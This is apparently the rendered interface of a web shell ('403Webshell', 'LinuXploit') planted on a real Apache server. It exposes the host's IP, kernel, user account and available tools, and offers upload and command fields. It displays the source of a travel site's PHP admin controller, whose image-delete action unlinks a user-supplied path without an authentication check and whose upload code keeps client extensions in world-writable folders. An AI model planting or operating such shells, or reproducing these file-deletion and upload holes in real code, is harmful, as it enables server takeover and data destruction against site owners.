403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/tajmahaltoursonline.com/application/admin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tajmahaltoursonline.com/application/admin/controllers/ServicesController.php
<?php
/***************************************************************
* Catabatic Technology Pvt. Ltd.
* File Name     : ContactusController.php
* File Desc.    : Contactus controller managed all contact queries
* Created By    : Piyush Tiwari <piyush@catpl.co.in>
* Created Date  : 23 May 2018
* Updated Date  : 23 May 2018
***************************************************************/


class Admin_ServicesController extends Zend_Controller_Action
{
    
    public $dbAdapter;
    public $perPageLimit;

    
    public function init()
    {
$options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        $resultset = $this->resultset;
         $baseUrl = $options['siteUrl'];
        $this->banner_large_image_width = $options['banner_large_image_width'];
        $this->banner_large_image_height = $options['banner_large_image_height'];
        $this->banner_medium_image_width = $options['banner_medium_image_width'];
        $this->banner_medium_image_height = $options['banner_medium_image_height'];
        $this->banner_small_image_width = $options['banner_small_image_width'];
        $this->banner_small_image_height = $options['banner_small_image_height'];
       /*Initialize db and session access */
       $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
       $this->siteurl = $aConfig['bootstrap']['siteUrl']; 
       $this->per_page_record = 20; 
       $this->dbAdapter = Zend_Db_Table::getDefaultAdapter(); 
       
       $auth        = Zend_Auth::getInstance();
       $authStorage = $auth->getStorage()->read();
       $this->username      = $authStorage->username;
       $this->admin_type    = $authStorage->role;
       $this->table = 'tbl_our_services';
       $this->current_time = time();
       $this->imageUrl     = (($this->appmode == 'MODE_BETA') ? 'beta/' : '') . 'public/upload/service/';
$this->DIR_WRITE_MODE = 0777;
}
   
    public function indexAction()
    {
                //Check admin logedin or not

        $this->checklogin();
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
        $crud   = new Admin_Model_CRUD();
        $getData = array();
        if($this->getRequest()->isPost())
        {
        $getData = $this->getRequest()->getPost();
        $searchArr = array(
                        'Title'=>$getData['Title'],
                        'rows'=>$getData['rows'],
                        'page'=>$getData['page'],
            );
        $resulsetold = $crud->getCount( $this->table,['ismarkForDel' =>0],'serviceId');  
        $crud->searchArr = $searchArr;
        $resultset = $crud->rv_select_static( $this->table,['*'],[ 'ismarkForDel' =>0],['serviceId'=> 'DESC']);  
                            if (count($resultset) > 0) {

            // echo "<pre>";print_r($resultset);die;

                foreach ($resultset as $resultkey => $resultval) {
                    $result1[] = [
                        'serviceId' => $resultval['serviceId'],
                        'serviceTitle' => $resultval['serviceTitle'],
                        'isActive' => $resultval['isActive']==1?'Active':'Deactive',
                        'bannerImage' => $resultval['bannerImage'],
                    ];
                }
            }
        $result = Zend_Json::encode($result1);
        $newResult = Zend_Json::decode($result,false);     
        $finalResult["total"]=$resulsetold[0]['serviceId'];
        $finalResult["rows"]=$newResult;
        echo json_encode($finalResult);
        exit;        
        }
    }
    

   public function editserviceAction(){
        //Check admin logedin or not
        $this->checklogin();
        $crud = new Admin_Model_CRUD();
        $pId = (int)$this->getRequest()->getParam("id");
        if(isset($pId) && $pId !=''){
            $result = $crud->getCmsdata($this->table, ['*'], ['serviceId'=>$pId], ['serviceId'=>'DESC']);
            $this->view->result = $result;
            $serviceId = $pId;
        }else{
            $lastRow = $crud->getCmsdata($this->table, ['serviceId'], ['serviceId'], ['serviceId'=>'DESC']);
            $serviceId = $lastRow['serviceId'] +1;
        }     
            
              
        if( $this->getRequest()->isPost() ) {
            $getData = $this->getRequest()->getPost();
//             echo "<pre>";print_r($getData);die;
                //-------Start Code for Approve and Publish content---------//
               if(isset($getData['save'])=="Save") {
                     $target_dir = "public/upload/service/";
                         $uploadOk = 1;

                        $orignalFIleName = $image = $_FILES["bannerImage"]["name"];
                        $fileName = '';
                        if (!empty($orignalFIleName)) {
                         $orignalFolderName  = $_SERVER["DOCUMENT_ROOT"] . "/" . $this->imageUrl . $serviceId;
                         $fileExt    = $this->_helper->General->getFileExtension($orignalFIleName);
                         $fileName   = $this->current_time . '.' . $fileExt;
                            //echo"<pre>"; print_r($_SERVER); exit();

                        if (!file_exists($orignalFolderName)) {
                            mkdir($orignalFolderName, $this->DIR_WRITE_MODE, true);
                        }
                        $temp_file_name = $_FILES["bannerImage"]["tmp_name"]; // temprary file name
                        @move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName);

                     $originalLargeFolder = $orignalFolderName . "/large";
                    $originalMediumFolder = $orignalFolderName . "/medium";
                    $originalSmallFolder = $orignalFolderName . "/small";
                    
                    Catabatic_Helper::resizeImages($orignalFolderName,$originalLargeFolder,$fileName,$this->banner_large_image_width,$this->banner_large_image_height);
                    Catabatic_Helper::resizeImages($orignalFolderName,$originalMediumFolder,$fileName,$this->banner_medium_image_width,$this->banner_medium_image_height);
                    Catabatic_Helper::resizeImages($orignalFolderName,$originalSmallFolder,$fileName,$this->banner_small_image_width,$this->banner_small_image_height);
                }
                   $editPageData = [
                            'serviceTitle'=>$getData['serviceTitle'],
                            'serviceIdentifier'=>strtolower(Catabatic_Helper::getSeoName($getData['serviceTitle'])),
                            'serviceDescription'=>$getData['serviceDescription'],
                            'metatag'=>$getData['metatag'],
                            'keyword'=>$getData['keyword'],
                            'description'=>$getData['description'],
                            'isActive'=>$getData['isActive'],
                            'isMarkFordel'=>0,
                        ];
                   if($fileName !=''){
                    $editPageData['bannerImage'] = $fileName;
                   }

//                            echo "<pre>";print_r($editPageData);die;
                    if(isset($pId) && $pId !=''){
                        $crud->rv_update($this->table , $editPageData, ['serviceId =?'=>$pId]);
                    }else{
                        $crud->rv_insert($this->table , $editPageData);
                    }
                        
                        $this->view->successMessage ="Content has been saved successfully.";
                        $this->_helper->flashMessenger->addMessage("Content has been updated successfully.");
                        
                        $this->_redirect("/admin/services/index");   
             }  
             
          }
            
    }
        
    
            
   public function addserviceAction(){
        
        $this->checklogin();
        $crud = new Admin_Model_CRUD();
        $form = new Admin_Form_Addexplore();
        $tId = (int)$this->getRequest()->getParam("id");
        $form->setAction("admin/explore/addexplore");
        $form->setMethod("POST");
        $form->setName("add_explore");
       
            if( $this->getRequest()->isPost() ) {
                $getData = $this->getRequest()->getPost();
                if($form->isValid($getData)) {
                if(isset($getData['save'])=="Save") {
                        $savePageData = [
                            'columnType'=> 'explore',
                            'title'=>($getData['title']),
                            'url'=>($getData['link']),
                            'openType'=>$getData['open_link'],
                            'status'=>$getData['status_number']
                        ];
// echo "<pre>";print_r($savePageData);die;
                        $crud->rv_insert($this->tablefootermnage, $savePageData);
                        $this->view->successMessage ="Content has been saved successfully.";
                        $this->_helper->flashMessenger->addMessage("Content has been added successfully.");
                        
                        $this->_redirect("/admin/explore/index");
                        
                }
                
                }
                
            }
       
        $this->view->form = $form;
        $this->view->messages   = $this->_helper->flashMessenger->getMessages();
    } 

    public function deleteserviceAction(){
        $this->checklogin();
        $crud = new Admin_Model_CRUD();
        $tId = (int)$this->getRequest()->getParam("id");
        if($tId){
            $checkdata = $crud->rv_select_row($this->table, ['serviceId'], ['serviceId'=>$tId], ['serviceId'=>'asc']);
            if(count($checkdata)>0){
              //  $crud->rv_delete($this->table, ['serviceId =?'=>$tId]);
                $crud->rv_update($this->table, ['isMarkForDel'=> 1], ['serviceId  =?'=>$tId]);
                $this->_helper->flashMessenger->addMessage("Delete successfully.");
                $this->_redirect("/admin/services/index");
            }else{
                die('Oops some thing wrong!!.');
            }  
        }
     }


     public function deleteimageAction() {
        $this->_helper->viewRenderer->setNoRender(true);
        $this->_helper->layout->disableLayout(); // disable layouts

        $param = $this->getRequest()->getParams();

        $id = $param['id'];
        $images = $param['images'];

        unlink("public/upload/service/$images");
// echo $this->table; die($id);

        $crud = new Admin_Model_CRUD();
        // die("h");
        
  
        $result = $crud->getCmsdata($this->table, ['bannerImage'], ['serviceId'=>$id], ['serviceId' => 'DESC']);
        //print_r($result); die();
        $strImages = $result['bannerImage'];
        //print_r($strImages);die();
        $arrImages = explode(",", $strImages);
        foreach ($arrImages as $key => $value) {
            if (trim($value) == trim($images)) {
                unset($arrImages[$key]);
            }
        }
     
        $strImages = trim(implode(",", $arrImages), ",");
        if($strImages === ""){
            $strImages = null;
        }
    // die($strImages);
        $crud->rv_update($this->table, ['bannerImage' => $strImages], ['serviceId =?' => $id]);
        $response = array("status"=>true,"msg"=>"Deleted Successfully");
        echo json_encode($response);
        exit;
    }
     
    public function sanitize_data($string) {
	$searchArr=array("iframe","script","document","write","alert","%","@","$",";","+","|","#","<",">",")","(","'","\'",",","and "," &","& ","and"," and","0","1","2","3","4","5","6","7","8","9");
	$input_data = strtolower($string);
	$input_data = str_replace($searchArr,"",$input_data);
        
        $input_data= str_replace(" ","-",$input_data);
        //echo $input_data; die;
        return $input_data;
    }
    
    
    public function update_json_footer( $type )
    {
        $crud   = new Admin_Model_CRUD();
//        if($type == 'social_links') {
//            $resultset1  = $crud->rv_select_all("tbl_social_links",['name','link'] ,  ['status'=>1] , ['name'=>'ASC' ] );
////            if( !file_exists('public/data/static/footer.json') ) {
//                $resultset1_json = Zend_Json::encode($resultset1);
//                file_put_contents( 'public/data/static/social.json', $resultset1_json); // create file here
////            }
//        }
//        else if($type == 'footer_links') {
//            $resultset1  = $crud->rv_select_all("tbl_footer_links",['name','link'] ,  ['status'=>1] , ['name'=>'ASC' ] );
//            $resultset1_json = Zend_Json::encode($resultset1);
//                file_put_contents( 'public/data/static/footer.json', $resultset1_json); // create file here
//            
//        }

        $resultset  = $crud->rv_select_all("tbl_social_links",['name','link'] ,  ['status'=>1] , ['name'=>'ASC' ] );
        $footer_destination = $crud->rv_select_all("tb_tbb2c_destinations",[ 'Title'] ,  ['IsActive'=>1 , 'IsPublish' => 1, 'IsMarkForDel' => 0 , 'DisplayOnFooter' => 1 ] , ['Tours'=>'DESC' ] , 10 );
        $this->_helper->General->update_json_footer_file( $resultset , $footer_destination );
    }
            

        /**
    * checklogin() method is used to check admin logedin or not
    * @param Null
    * @return Array 
    */
    public function checklogin()
    {
        if(($this->admin_type == "superadmin") || ($this->admin_type == "admin"))
        {
            $auth = Zend_Auth::getInstance();
            $hasIdentity = $auth->hasIdentity();
            /*************** check admin identity ************/
            if(!$hasIdentity)  
            {  
                   $this->_redirect('admin/index/index');  
            } 
        }  else {
            $this->_redirect('admin/index/index');   
        } 
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit